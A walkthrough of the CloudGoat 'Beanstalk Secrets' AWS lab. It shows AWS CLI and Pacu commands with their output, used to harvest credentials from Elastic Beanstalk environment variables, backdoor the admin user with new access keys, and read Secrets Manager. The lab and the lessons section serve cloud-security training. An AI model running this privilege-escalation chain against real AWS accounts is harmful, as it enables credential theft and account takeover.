Cloudgoat-Beanstalk

AWS Beanstalk Secrets CTF Walkthrough

Overview

In this capstone challenge, I tackled the Beanstalk Secrets scenario on GitHub. This scenario was based on a real AWS penetration test and presented an excellent opportunity to practice cloud security skills.
One interesting aspect of this challenge was that it required research on the AWS Elastic Beanstalk service, which wasn’t explicitly covered in previous training materials. This reflects real-world penetration testing, where you often need to research and enumerate unfamiliar services.

Scenario

I was hired as an AWS Penetration Tester for Hack Smarter. The company uses Elastic Beanstalk to host some of their public-facing web applications. I was provided with a low-level account that has access to Elastic Beanstalk.

Mission Objectives:

  1. Research Elastic Beanstalk and identify common misconfigurations
  2. Leverage findings to escalate privileges to admin access

Initial Reconnaissance

First, I configured AWS CLI with the provided low-privilege credentials and began basic enumeration:

1
2
3
4
5
6
aws sts get-caller-identity --profile init
{
"UserId": "AIDAQ6VKGD5Y7SP3O3ECX",
"Account": "065855168369",
"Arn": "arn:aws:iam::065855168369:user/cgidmws70jym0c_low_priv_user"
}

I attempted to gather more information about the user but faced permission restrictions:

1
2
3
aws iam get-user --profile init

An error occurred (AccessDenied) when calling the GetUser operation: User: arn:aws:iam::065855168369:user/cgidmws70jym0c_low_priv_user is not authorized to perform: iam:GetUser on resource: user cgidmws70jym0c_low_priv_user because no identity-based policy allows the iam:GetUser action

Permission Exploration

I tried to determine what policies were attached to the user:

1
2
3
aws iam list-attached-user-policies --user-name cgidmws70jym0c_low_priv_user --profile init

An error occurred (AccessDenied) when calling the ListAttachedUserPolicies operation: User: arn:aws:iam::065855168369:user/cgidmws70jym0c_low_priv_user is not authorized to perform: iam:ListAttachedUserPolicies on resource: user cgidmws70jym0c_low_priv_user because no identity-based policy allows the iam:ListAttachedUserPolicies action

Group membership was also restricted:

1
2
3
aws iam list-groups-for-user --user-name gidmws70jym0c_low_priv_user --profile init

An error occurred (AccessDenied) when calling the ListGroupsForUser operation: User: arn:aws:iam::065855168369:user/cgidmws70jym0c_low_priv_user is not authorized to perform: iam:ListGroupsForUser on resource: user gidmws70jym0c_low_priv_user because no identity-based policy allows the iam:ListGroupsForUser action

Role listing was blocked as well:

1
2
3
aws iam list-roles --profile init

An error occurred (AccessDenied) when calling the ListRoles operation: User: arn:aws:iam::065855168369:user/cgidmws70jym0c_low_priv_user is not authorized to perform: iam:ListRoles on resource: arn:aws:iam::065855168369:role/ because no identity-based policy allows the iam:ListRoles action

Leveraging Pacu for AWS Enumeration

Since manual enumeration was hitting roadblocks, I turned to Pacu, an AWS exploitation framework. First, I tried exploring DynamoDB:

1
2
3
4
5
6
7
8
9
10
Pacu (init:imported-init) > run dynamodb__enum --regions eu-west-1
Running module dynamodb__enum...
[dynamodb__enum] Starting region eu-west-1...
[dynamodb__enum] FAILURE:
[dynamodb__enum] MISSING NEEDED PERMISSIONS
[dynamodb__enum] dynamodb__enum completed.

[dynamodb__enum] MODULE SUMMARY:

No tables found

Discovering Secrets in Elastic Beanstalk

Given the scenario hint about Elastic Beanstalk, I focused on enumerating that service using Pacu:

1
2
3
4
5
6
7
8
Pacu (init:imported-init) > run elasticbeanstalk__enum
[elasticbeanstalk__enum] No environments found in me-south-1.
[elasticbeanstalk__enum] Enumerating BeanStalk data in region us-east-1...
[elasticbeanstalk__enum] 1 application(s) found in us-east-1.
[elasticbeanstalk__enum] 1 environment(s) found in us-east-1.
Potential secret in environment variable: SSHSourceRestriction => tcp,22,22,0.0.0.0/0
Potential secret in environment variable: EnvironmentVariables => SECONDARY_SECRET_KEY=[REDACTED],PYTHONPATH=/var/app/venv/staging-LQM1lest/bin,SECONDARY_ACCESS_KEY=[REDACTED]
Potential secret in environment variable: SECONDARY_ACCESS_KEY => [REDACTED]

This was the key finding! The Elastic Beanstalk environment contained environment variables with secondary AWS credentials. This is a common misconfiguration where secrets are stored in plaintext environment variables.

Privilege Escalation: First Step

Using the discovered secondary credentials, I configured a new AWS CLI profile and verified the identity:

1
2
3
4
5
6
aws sts get-caller-identity --profile sec                                             
{
"UserId": "AIDAQ6VKGD5Y2X6JF5I43",
"Account": "065855168369",
"Arn": "arn:aws:iam::065855168369:user/cgidmws70jym0c_secondary_user"
}

I gathered more information about this secondary user:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
aws iam get-user --profile sec
{
"User": {
"Path": "/",
"UserName": "cgidmws70jym0c_secondary_user",
"UserId": "AIDAQ6VKGD5Y2X6JF5I43",
"Arn": "arn:aws:iam::065855168369:user/cgidmws70jym0c_secondary_user",
"CreateDate": "2025-05-13T16:09:17+00:00",
"Tags": [
{
"Key": "Stack",
"Value": "CloudGoat"
},
{
"Key": "Scenario",
"Value": "beanstalk_secrets"
}
]
}
}

The Final Escalation

I ran Pacu’s privilege escalation scanner to identify potential paths to admin access:

1
Pacu (sec:imported-sec) > run iam__privesc_scan

The scan revealed that the secondary user had the iam:CreateAccessKey permission for the admin user! This is a critical permission that allows creating new access keys for other users.

1
2
3
4
5
6
[iam__privesc_scan]   Running module iam__backdoor_users_keys...
[iam__backdoor_users_keys] Backdoor the following users?
[iam__backdoor_users_keys] cgidmws70jym0c_admin_user
[iam__backdoor_users_keys] Access Key ID: [REDACTED]
[iam__backdoor_users_keys] Secret Key: [REDACTED]
[iam__backdoor_users_keys] iam__backdoor_users_keys completed.

I now had admin credentials and verified the identity:

1
2
3
4
5
6
aws sts get-caller-identity --profile admin
{
"UserId": "AIDAQ6VKGD5YRF3EP5QKA",
"Account": "065855168369",
"Arn": "arn:aws:iam::065855168369:user/cgidmws70jym0c_admin_user"
}

Capturing the Flag

With admin access, I could now enumerate AWS Secrets Manager to find the flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
Pacu (admin:imported-admin) > run secrets__enum --region us-east-1
Running module secrets__enum...
[secrets__enum] Starting region us-east-1...
[secrets__enum] Found secret: cgidmws70jym0c_final_flag
[secrets__enum] Probing Secret: cgidmws70jym0c_final_flag
[secrets__enum] Probing parameter store
[secrets__enum] secrets__enum completed.

[secrets__enum] MODULE SUMMARY:

1 Secret(s) were found in AWS secretsmanager
0 Parameter(s) were found in AWS Systems Manager Parameter Store
Check ~/.local/share/pacu/<session name>/downloads/secrets/ to get the values

The flag was: FLAG{D0nt_st0r3_s3cr3ts_in_b3@nsta1k!}

Key Lessons Learned

  1. Environment Variable Exposure: Storing sensitive credentials in plaintext environment variables is a dangerous practice that can lead to privilege escalation.
  2. Lateral Movement: I leveraged one set of credentials to discover another, ultimately leading to admin access.
  3. Access Key Creation: The ability to create access keys for other users is extremely powerful and should be tightly controlled.
  4. Targeted Enumeration: Focusing on the service mentioned in the scenario (Elastic Beanstalk) paid off and directed the exploitation path.

This CTF challenge demonstrates a realistic AWS attack path that security professionals might encounter in real-world penetration tests. Understanding these attack vectors is crucial for cloud security practitioners to properly secure their AWS environments.